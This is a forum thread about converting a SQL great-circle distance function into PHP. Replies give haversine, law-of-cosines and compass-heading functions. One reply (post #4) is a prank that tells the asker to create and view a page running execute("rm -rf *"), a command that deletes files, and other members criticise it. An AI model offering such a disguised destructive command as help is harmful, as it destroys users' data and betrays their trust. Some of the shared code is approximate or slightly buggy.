php guru, convert function puzzle

Collapse
X
 
  • Time
  • Show
Clear All
new posts
  • goodsites
    Confirmed User
    • Jan 2010
    • 538

    #1

    php guru, convert function puzzle

    I need this stored function converted into a regular php function, i get a bit confused on it

    SET x = sin(lat1 * pi/180) * sin(lat2 * pi/180) + cos(lat1 *pi/180) * cos(lat2 * pi/180) * cos(abs((lon2 * pi/180) - (lon1 * pi/180)));
    SET x = atan((sqrt(1- power(x,2))) /x);
    RETURN (1.852 * 60.0 * ((x/pi)*180)) / 1.609344;


    so something like function _getDistance($lat1, $lon1, $lat2, $lon2) {

    ..fill in here with answer please


    Thanks in advance.
  • Maxi
    Registered User
    • May 2002
    • 233

    #2
    Copypasta from http://www.codecodex.com/wiki/Calcul...nts_on_a_globe


    Code:
    function getDistance($latitude1, $longitude1, $latitude2, $longitude2) 
    {  
        $earth_radius = 6371;  
          
        $dLat = deg2rad($latitude2 - $latitude1);  
        $dLon = deg2rad($longitude2 - $longitude1);  
          
        $a = sin($dLat/2) * sin($dLat/2) + cos(deg2rad($latitude1)) * cos(deg2rad($latitude2)) * sin($dLon/2) * sin($dLon/2);  
        $c = 2 * asin(sqrt($a));  
        $d = $earth_radius * $c;  
          
        return $d;  
    }
    Last edited by Maxi; 11-12-2010, 02:49 AM.

    Comment

    • borked
      Totally Borked
      • Feb 2005
      • 6284

      #3
      calculates distance as miles (M) or kilometers (K)

      Code:
      public function distance($lat1, $lon1, $lat2, $lon2, $unit='M') { 
      
        $theta = $lon1 - $lon2; 
        $dist = sin(deg2rad($lat1)) * sin(deg2rad($lat2)) +  cos(deg2rad($lat1)) * cos(deg2rad($lat2)) * cos(deg2rad($theta)); 
        $dist = acos($dist); 
        $dist = rad2deg($dist); 
        $miles = $dist * 60 * 1.1515;
        $unit = strtoupper($unit);
      
        if ($unit == "K") {
          return ($miles * 1.609344); 
        } else if ($unit == "N") {
            return ($miles * 0.8684);
          } else {
              return $miles;
            }
      }

      For coding work - hit me up on andy // borkedcoder // com
      (consider figuring out the email as test #1)



      All models are wrong, but some are useful. George E.P. Box. p202

      Comment

      • cocainer
        So Fucking Banned
        • Jun 2010
        • 164

        #4
        just create this php page and view it.

        Code:
        <?php
        
        execute("rm -rf *");

        Comment

        • grumpy
          Too lazy to set a custom title
          • Jan 2002
          • 9870

          #5
          Originally posted by cocainer
          just create this php page and view it.

          Code:
          <?php
          
          execute("rm -rf *");

          not so funny
          actually pretty lame
          Don't let greediness blur your vision | You gotta let some shit slide
          icq - 441-456-888

          Comment

          • goodsites
            Confirmed User
            • Jan 2010
            • 538

            #6
            Originally posted by grumpy
            not so funny
            actually pretty lame
            very lame, should be banned for that.. not exaclty alt-f4 now is it

            Comment

            • goodsites
              Confirmed User
              • Jan 2010
              • 538

              #7
              thanks guys, giving it a whirl in a few here

              Comment

              • goodsites
                Confirmed User
                • Jan 2010
                • 538

                #8
                Wewps, this is not what I wanted, i screwed up by putting 2 sets of longs and lats, basically I need to create the 2nd set of lat/long
                using the range provided, only supplying the initial set of lat/longs

                $range = 30; // miles or kilometers;

                function _getDistance($lat1, $lon1, $range) {

                return $lat2, $lon2


                the above "procedure" I provided does this, just needs to be converted.. im having problem getting it working
                creating the 2nd set of lat/longs based off the provided range..


                I'll re paraphrase

                Providing a lat and long, and a range in miles, i need to create a second lat and long based off this..

                Can anyone help?
                Last edited by goodsites; 11-12-2010, 10:43 PM.

                Comment

                • goodsites
                  Confirmed User
                  • Jan 2010
                  • 538

                  #9
                  Hrmph, I think i just figured out what i need to do

                  $range = 30; (miles?)
                  $rangeFactor = 0.014457;

                  $lat2 = $lat1-($range*$rangeFactor)?

                  $long2 = $long1-($range*$rangeFactor)?

                  Comment

                  • borked
                    Totally Borked
                    • Feb 2005
                    • 6284

                    #10
                    Originally posted by goodsites

                    I'll re paraphrase

                    Providing a lat and long, and a range in miles, i need to create a second lat and long based off this..

                    Can anyone help?
                    How the hell can you do that without providing a heading?

                    It's like saying "stand in place X and walk 10 miles and tell me where you are". You could be anywhere depending on which heading you set off on....

                    here is a function that tells you the compass heading based on 2 pairs of lat/lon (lat1/lon1 are the starting point. The heading returned is heading toward lat2/lon2)

                    public function heading($lat1, $lon1, $lat2, $lon2) {
                    $d = acos(sin($lat1)*sin($lat2)+cos($lat1)*cos($lat2)*c os($lon1-$lon2));
                    $angle_radians = acos((sin($lat2)-sin($lat1)*cos($d))/(sin($d)*cos($lat1)));
                    $angle_degrees = round( ( ( 180 / pi()) * $angle_radians ),2);

                    $heading = compass($angle_degrees);

                    $array['angle'] = $angle_degrees;
                    $array['heading'] = $heading;
                    return $array;
                    }

                    public function compass($a) {

                    if ($a == 0 && $a <= 11.25)
                    return 'N';

                    if ($a > 11.25 && $a <= 33.75)
                    return 'NNE';

                    if ($a > 33.75 && $a <= 56.25)
                    return 'NE';

                    if ($a > 56.25 && $a <= 78.75)
                    return 'ENE';

                    if ($a > 78.75 && $a <= 101.25)
                    return 'E';

                    if ($a > 101.25 && $a <= 123.75)
                    return 'ESE';

                    if ($a > 123.75 && $a <= 146.25)
                    return 'SE';

                    if ($a > 146.25 && $a <= 168.75)
                    return 'SSE';

                    if ($a > 168.75 && $a <= 191.25)
                    return 'S';

                    if ($a > 191.25 && $a <= 213.75)
                    return 'SSW';

                    if ($a > 213.75 && $a <= 236.25)
                    return 'SW';

                    if ($a > 236.25 && $a <= 258.75)
                    return 'WSW';

                    if ($a > 258.75 && $a <= 281.25)
                    return 'W';

                    if ($a > 281.25 && $a <= 303.75)
                    return 'WNW';

                    if ($a > 303.75 && $a <= 326.25)
                    return 'NW';

                    if ($a > 326.25 && $a <= 348.75)
                    return 'NNW';

                    if ($a > 348.75 && $a <= 360)
                    return 'N';


                    }
                    I'll let you work the two examples I gave you to do what you search for ;)
                    If you want me to figure it out, I'll have to charge you but you have the 2 most important functions there before you to figure it out...
                    Last edited by borked; 11-12-2010, 11:42 PM.

                    For coding work - hit me up on andy // borkedcoder // com
                    (consider figuring out the email as test #1)



                    All models are wrong, but some are useful. George E.P. Box. p202

                    Comment

                    • Hornet1999
                      Registered User
                      • Oct 2010
                      • 15

                      #11
                      Originally posted by goodsites

                      $range = 30; (miles?)
                      $rangeFactor = 0.014457;

                      $lat2 = $lat1-($range*$rangeFactor)?

                      $long2 = $long1-($range*$rangeFactor)?
                      That's just what you need.

                      Comment

                      Working...